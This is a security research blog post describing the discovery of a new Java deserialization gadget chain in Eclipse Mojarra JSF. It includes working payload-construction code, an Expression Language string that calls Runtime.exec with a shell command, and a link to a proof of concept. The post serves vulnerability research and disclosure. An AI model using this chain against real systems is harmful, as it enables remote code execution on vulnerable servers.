Finding gadgets like it's 2015: part 2

Rédigé par Hugo Vincent - 28/10/2021 - dans - Téléchargement
We found a new Java gadget chain in the Mojarra library, one of the most used implementation of the JSF specification. It uses a known entry point to start the chain and ends with arbitrary code execution through Java's Expression Language. It was tested on version 2.3 and 3.0 of the Eclipse implementation of the JSF specification.

Introduction

During a past assessment, we had the opportunity to audit a pretty big Java application. On the last two days of the audit we had a potential lead on an arbitrary object deserialization due to JNDI/LDAP injection. It turns out this was a real vulnerability even though it was difficult to exploit in practice.
 
When you stumble upon such an issue, you generally hope to get RCE from it. That's what CTFs try to teach you. You fire up ysoserial, find the right gadget to use and profit. But real life is not a CTF and in our case, shooting ysoserial payloads at our target did not lead to any interesting result. Nothing, no connect back, no shell, not even a DNS pingback. Nothing came back to us. Nothing. Nothing, nada, niet, nichts, rien. 沒什麼.
 
In this case, it so happened that we managed to find a suitable way out. Let's see how we managed to analyze and find a gadget in one of the libraries used by the application.
 
The previous part was focused on explaining the CommonCollection 1 and 7 gadget chains to better understand Java gadgets. In this part, we'll dive into the new gadget chain that we found in Mojarra, we'll describe how we found it and the different problems that we had to face in order to get a valid chain.

Finding a new sink

 
green

 

 
Understanding the internals of a ysoserial gadget surely helps to look for new ones in a target. Not only does it provide background on deserialization issues but it also provides ideas for more advanced sinks.
 
You can find gadgets in every Java library, so we can start by listing the jars used by our target.
❯ find . -name '*.jar' | wc -l
637
 
There are more than 600 jar files. Looking for gadgets manually in each of them one by one is not possible. Fortunately, a bunch of community tools, such as gadget-inspector1, can help you in this task. This tool was presented at Blackhat in 2018 by Ian Haken. It aims to find gadgets automatically by analyzing Java byte code. It can run on a jar or a war file and a little bash loop can help sort out our pile of 637 jars. After a night of patience, we got the following results:
❯ wc -l output/* |sort -n
    13 output/588-gadget-chains.txt
    19 output/473-gadget-chains.txt
    23 output/628-gadget-chains.txt
     8 output/100-gadget-chains.txt
     8 output/101-gadget-chains.txt
     8 output/102-gadget-chains.txt
     8 output/103-gadget-chains.txt
     [...]
 
The tool found the following gadget chain in every single analyzed jar:
❯ cat output/103-gadget-chains.txt 
org/apache/log4j/pattern/LogEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
  org/apache/log4j/pattern/LogEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)

org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
  org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
 
It was obviously a false positive. The chain starts with a call to the readObject of the LogEvent class which then calls the readLevel method and then performs reflection.
  static final String TO_LEVEL = "toLevel";
  static final Class[] TO_LEVEL_PARAMS = new Class[] {int.class};

[...]

  void readLevel(ObjectInputStream ois) throws java.io.IOException, ClassNotFoundException {

[...]
      String className = (String) ois.readObject();
[...]
	  Class clazz = Loader.loadClass(className);
[...]
	  m = clazz.getDeclaredMethod(TO_LEVEL, TO_LEVEL_PARAMS);
[...]
	level = (Level) m.invoke(null,  PARAM_ARRAY);
[...]
 
It gets a class name from the serialized object, gets the toLevel method and calls it, since the first parameter of the invoke method is null we can only call a method called toLevel of an arbitrary class which needs to be static... This won't give us arbitrary code execution.
 
The 473-gadget-chains.txt file is the result of the analysis of the common collection library. The version used by the application is patched against the gadgets described in the previous part of this article, thus these gadgets dont work anymore. Indeed, the developers of the Apache common collection fixed different sensitive classes by adding a specific flag, which is not enabled by default. If it's not enabled, the object is not deserialized. Here is the readObject method of the InvokerTransformer class:
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
    FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
    is.defaultReadObject();
}
 
The output of the 628-gadget-chains.txt file only contains false positives whereas the file 588-gadget-chains.txt is more interesting. It's the result of the analysis of a library called jboss-jsf-api_2.3_spec-3.0.0.SP04.jar:
java/awt/Component.readObject(Ljava/io/ObjectInputStream;)V (1)
  java/awt/Component.checkCoalescing()Z (0)
  javax/faces/component/UIComponentBase$AttributesMap.get(Ljava/lang/Object;)Ljava/lang/Object; (1)
  java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
 
Note that java.awt.Component is an abstract class, so we won't be able to serialize it, but let's look at the end of the payload. The AttributesMap class is private and is defined in the UIComponentBase.java file.
 
In the get method of the AttributesMap class we can see that, on the last line of the following code snippet, the invoke method is called. The latter allows to get code execution according to gadget-inspector:
  private static class AttributesMap implements Map<String, Object>, Serializable {
[...]      
        private transient Map<String, PropertyDescriptor> pdMap;
        private transient ConcurrentMap<String, Method> readMap;
        private transient UIComponent component;
        private static final long serialVersionUID = -6773035086539772945L;
[...]
        public Object get(Object keyObj) {
            String key = (String) keyObj;
            Object result = null;
[...]
            Map<String, Object> attributes = (Map<String, Object>) component.getStateHelper().get(PropertyKeys.attributes);
            if (null == result) {
                PropertyDescriptor pd = getPropertyDescriptor(key);
                if (pd != null) {
                    try {
                        if (null == readMap) {
                            readMap = new ConcurrentHashMap<>();
                        }
                        Method readMethod = readMap.get(key);
                        if (null == readMethod) {
                            readMethod = pd.getReadMethod();
                            Method putResult = readMap.putIfAbsent(key, readMethod);
                            if (null != putResult) {
                                readMethod = putResult;
                            }
                        }

                        if (readMethod != null) {
                            result = (readMethod.invoke(component, EMPTY_OBJECT_ARRAY));
[...]
 
To get through the invoke method, the getPropertyDescriptor function must return something that is not null. However due to the transient flag, the pdMap attribute will be null, thus returning null:
PropertyDescriptor getPropertyDescriptor(String name) {
            if (pdMap != null) {
                return (pdMap.get(name));
            }
            return (null);
        }
 
It's not possible to reach the invoke method, making it a false positive. Indeed, the GitHub repository of gadget-inspector states that the tool doesn't try to solve for the satisfiability of branch conditions to simplify the analysis. It also states this:
 
Furthermore, gadget inspector has pretty broad conditions on those functions it considers interesting. For example, it treats reflection as interesting (i.e. calls to Method.invoke() where an attacker can control the method), but often times overlooked assertions mean that an attacker can influence the method invoked but does not have complete control. For example, an attacker may be able to invoke the "getError()" method in any class, but not any other method name.
 
We tried to add new sinks to gadget-inspector to find new paths. There is a isSink method in the code; we added code like this:
if (method.getClassReference().getName().equals("javax/el/ELProcessor") 
                && method.getName().equals("eval")) {
            return true;
        }
 
The eval method of the ELProcessor class is interesting because it can result in code execution if you control the parameter. We ran the tool multiple times on the 637 libraries, but it didn't find new paths.
 
When automated tools fail doing what you want, you can still do it by hand. Fortunately, at the end of the get function of the AttributesMap there are some interesting pieces of code:
@Override
public Object get(Object keyObj) {
    [...]
    if (null == result) {
        ValueExpression ve = component.getValueExpression(key);
        if (ve != null) {
            try {
                result = ve.getValue(component.getFacesContext().getELContext());
            } catch (ELException e) {
                throw new FacesException(e);
            }
        }
    }
 
Expression Language (EL) is a programming language mostly used in web applications for embedding and evaluating expressions in web pages. A ValueExpression is an Expression that can get or set a value. In other words and to simplify, a ValueExpression is an object holding EL code which is evaluated when you call getValue on it:
FacesContext ctx = FacesContext.getCurrentInstance();
ELContext elContext = ctx.getELContext();
ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory();

String codeExec = "${1+1}";
ValueExpression ve = expressionFactory.createValueExpression(elContext, codeExec, Object.class);

System.out.println(ve.getValue(elContext));
//output:
2
 
So in our example the ValueExpression is retrieved from the component attribute, which we control, by calling getValueExpression on it. This means that it's possible to execute arbitrary code thanks to expression language if we manage to call the get method of our AttributesMap.
 
To construct the AttributesMap, Java reflection can be used:
private Object constructAttributesMap(UIColumn uiColumn){
    try {
        Class<?> clazz = Class.forName("javax.faces.component.UIComponentBase$AttributesMap");


        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        Object attributesMap = constructor.newInstance(uiColumn);

        return attributesMap;
[...]
 
A UIColumn object is used because it's an implementation of the UIComponentBase class.
 
Then we can try it:
String codeExec = "${1+1}";
ValueExpression ve = expressionFactory.createValueExpression(elContext, codeExec, Object.class);

UIColumn uiColumn = new UIColumn();
uiColumn.setValueExpression("yy",ve);

Map attributesMap = (Map) constructAttributesMap(uiColumn);

System.out.println(attributesMap.get("yy"));
//output
2
 
Calling get on an AttributesMap with a controlled parameter results in arbitrary code execution.
  

Using an old path

 gold gadget

 

We now need to be able to call the get method off the AttributesMap. Calling get on a map ? We already know how to perform this thanks to CommonCollection 1 and 7. This was described in the previous part of this article. We know that we can't use the CommonCollection1 gadget anymore because it won't work on a recent system. However, we might be able to use some part of the CommonCollection7 gadget chain.

The beginning of the CommonCollection7 chain is:
java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
        org.apache.commons.collections.map.AbstractMapDecorator.equals
            java.util.AbstractMap.equals
                org.apache.commons.collections.map.LazyMap.get

 

Last time we saw that by combining LazyMaps and the Java weak hash method, we were able to perform arbitrary code execution. We added some debug output to the exploit:

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();

// Use the colliding Maps as keys in Hashtable
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

// added for debug
System.out.println(lazyMap1.entrySet());
System.out.println(lazyMap2.entrySet());

// Needed to ensure hash collision after previous manipulations
innerMap2.remove("yy");

// added for debug
System.out.println(lazyMap1.entrySet());
System.out.println(lazyMap2.entrySet());
System.out.println(hashtable.entrySet());

 

The debug output is :

[yy=1]
[zZ=1, yy=yy]
[yy=1]
[zZ=1]
[{zZ=1}=2, {yy=1}=1]
 
Now, let's try replacing the LazyMap with our AttributesMap. The equals function of the AttributesMap behave the same way as that of the AbstractMap, it calls get on the Map passed in parameter so the gadget chain should work with an AttributesMap.
UIColumn uiColumn = constructUiColumn();

Map innerMap1 = (Map) constructAttributesMap(uiColumn);
Map innerMap2 = (Map) constructAttributesMap(uiColumn);

innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);

System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());

innerMap2.remove("yy");

System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
System.out.println(hashtable.entrySet());
[yy=1, zZ=1]
[yy=1, zZ=1]
[zZ=1]
[zZ=1]
[javax.faces.component.UIComponentBase$AttributesMap@f21=2]
 
There is a problem: when an element is added to an AttributesMap it's added to all the AttributesMap of the context. Thus all AttributesMap of a given context have the same elements. However 2 AttributesMap with different elements are needed to make a valid chain. Indeed, if our innerMap1 and innerMap2 equal one another only one will be added to the final Hashtable. This problem doesn't occur with a LazyMap because LazyMap and AttributesMap are differents implementations of the Map interface.
 
What we need is to add an object to our final Hashtable. This object needs to be an implementation of the Map interface to both trigger the hash collision and call the equals function between our AttributesMap and this object.
 
The Hashtable itself is a perfect candidate, as it fulfills all the requirements:
Map innerMap1  = new Hashtable();
Map innerMap2 = (Map) constructAttributesMap(uiColumn);

innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);

System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
System.out.println(hashtable.entrySet());
[yy=1]
[zZ=1]
[javax.faces.component.UIComponentBase$AttributesMap@f21=2, {yy=1}=1]
 
We now have 2 maps with one element each and their key collide, which will trigger the end off the gadget chain.
 
To verify the chain, we made a little Java application with 2 endpoints, one to build the gadget and one to deserialize the chain:
 
ser

 

 
deser

 

 
On the server side, an error is triggered:
[#|2021-05-23T13:03:05.410+0000|SEVERE|Payara 5.2021.3||_ThreadID=81;_ThreadName=http-thread-pool::http-listener-1(1);_TimeMillis=1621774985410;_LevelValue=1000;|
  java.lang.ClassNotFoundException: org.jboss.weld.module.web.el.WeldValueExpression
	at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:419)
[...]
	at javax.faces.component.UIComponentBase$AttributesMap.readObject(UIComponentBase.java:2252)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
A ClassNotFoundException error is raised with the class WeldValueExpression.
 
In our gadget chain, we use a ValueExpression to get arbitrary code execution; the ValueExpression class is an abstract class. In our case the implementation of the ValueExpression class is the WeldValueExpression class:
ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class);

System.out.println(ve.getType(elContext).toString());
//output 
class org.jboss.weld.module.web.el.WeldValueExpression
 
The demo app can serialize the WeldValueExpression but can't find the class during the deserialization process; this particular behavior is characteristic of a class loading problem. We tried to serialize a Hashtable with only one element which was a WeldValueExpression to see whether the error occur during the deserialization, but no error was triggered.
 
This means that the problem is indeed due to a class loading problem. We modified the gadget chain to add a useless ValueExpression to the final hashtable. The underlying idea is to make sure that the class is loaded before the system tries to load it from the AttributesMap class:
private Hashtable constructPayload(String elString){

    ELContext elContext = ctx.getELContext();
    ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory();
    
    //dummy ValueExpression
    ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class);

    UIColumn uiColumn = constructUiColumn(elString);

    Map innerMap1  = new Hashtable();
    Map innerMap2 = (Map) constructAttributesMap(uiColumn);

    innerMap1.put("yy", 1);
    innerMap2.put("zZ", 1);

    Hashtable hashtable = new Hashtable();

    //dummy ValueExpression to resolve class loading problems
    hashtable.put(ve, 0);
    hashtable.put(innerMap1, 1);
    hashtable.put(innerMap2, 2);

    return hashtable;

}
 
The following ValueExpression can be used:
${true.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(true.getClass().forName("java.lang.Runtime")).exec('bash -c touch$IFS/tmp/pwned')}
 
final

 

And it finally worked!
root@dcc6d9ab3e9e:/opt/payara# ls /tmp/pwned 
/tmp/pwned
 

Final thoughts

You might be wondering if the jboss-jsf-api_2.3_spec-3.0.0.SP04.jar library is often used in Java projects and what JSF is ? From Wikipedia:
 
Jakarta Server Faces (JSF; formerly JavaServer Faces) is a Java specification for building component-based user interfaces for web applications and was formalized as a standard through the Java Community Process being part of the Java Platform, Enterprise Edition. It is also a MVC web framework that simplifies construction of user interfaces (UI) for server-based applications by using reusable UI components in a page.
 
Since it's only a specification, there are several implementations. In fact, there are 2 main implementations of the JSF specification which are Eclipse Mojarra and Apache MyFaces.
 
The gadget chain is valid for the implementation of the JSF specification in version 2.3 and 3.0. The implementation by Eclipse can be found on GitHub2.
 
We tried to reproduce the gadget chain on the MyFaces implementation, but it didn't work. In fact, the UIComponent class is not serializable but the AttributesMap calls a method during serialization and deserailization to save/restore the UIComponent. However, the _ComponentAttributesMap (the equivalent of AttributesMap for MyFaces) doesn't do this operation, so we can't serialize the _ComponentAttributesMap class with an UIComponent even if the _ComponentAttributesMap class is serializable. The developers of the Mojarra implementation wrote a little comment above the readObject/writeObject functions:
private static class AttributesMap implements Map<String, Object>, Serializable {
[...]

    // ----------------------------------------------- Serialization Methods

    // This is dependent on serialization occuring with in a
    // a Faces request, however, since UIComponentBase.{save,restore}State()
    // doesn't actually serialize the AttributesMap, these methods are here
    // purely to be good citizens.

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.writeObject(component.getClass());
        // noinspection NonSerializableObjectPassedToObjectStream
        out.writeObject(component.saveState(FacesContext.getCurrentInstance()));
    }

[...]
 

Conclusion

 
fusion

 

 
Here is the final chain:
java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
        java.util.Hashtable.equals
                javax.faces.component.UIComponentBase$AttributesMap.get
                    javax.faces.component.UIComponent.getValueExpression
                    javax.el.ValueExpression.getValue
 
Each Java project using the Mojarra JSF implementation of Eclipse is vulnerable to this gadget chain if an arbitrary object deserialization can be triggered.
 
A POC for both versions can be found here: https://github.com/synacktiv/mojarragadget
 
Real life is not a CTF: it's not possible to launch ysoserial when you have an arbitrary object deserialization with an up to date java application. We hope we brought as many details as possible on the process of finding new java gadgets. This process can be really long and discouraging but it's still achievable.
 
Be good citizens, find some new gadget chains!